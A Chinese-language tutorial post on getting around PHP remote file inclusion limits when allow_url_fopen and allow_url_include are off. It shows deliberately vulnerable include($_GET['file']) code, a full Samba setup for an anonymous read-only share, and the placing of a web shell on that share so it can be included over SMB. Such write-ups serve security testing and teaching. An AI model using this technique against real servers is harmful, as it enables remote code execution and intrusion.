远程文件包含漏洞在allow_url_fopen以及allow_url_include为off的情况下,我们该怎么办
0x01 测试过程
测试代码:1
2
3
4
5
6
$temp = $_GET['file'];
include($temp);
这里样的代码在无任何防护的情况下,满足1
2allow_url_fopen=On
allow_url_include=On
可执行远程文件包含漏洞
我们在IP为192.168.43.60的主机上编写web shell,正常情况下,如下图
当我们off掉,程序报错,情况如下:
解决策略
使用匿名读取访问权限配置SAMBA服务器(Linux计算机)
使用下面提到的命令安装SAMBA服务器:1
apt-get install samba
创建SMB共享目录(在我的情况下为/ var / www / html / pub /)1
mkdir /var/www/html/pub/
配置新创建的SMB共享目录的权限:1
2chmod 0555 /var/www/html/pub/
chown -R nobody:nogroup /var/www/html/pub/
运行以下提到的命令以删除SAMBA服务器配置文件的默认内容1
echo > /etc/samba/smb.conf
将下面提到的内容放在’/etc/samba/smb.conf’文件中1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes
[ica]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody
重新启动SAMBA服务器以应用配置文件/etc/samba/smb.conf中的spcified新配置1
\\192.168.0.3\
因为smb服务可用于文件共享,通过这个思路绕过RFI限制。
在pub文件夹下编写web shell
测试一下:
成功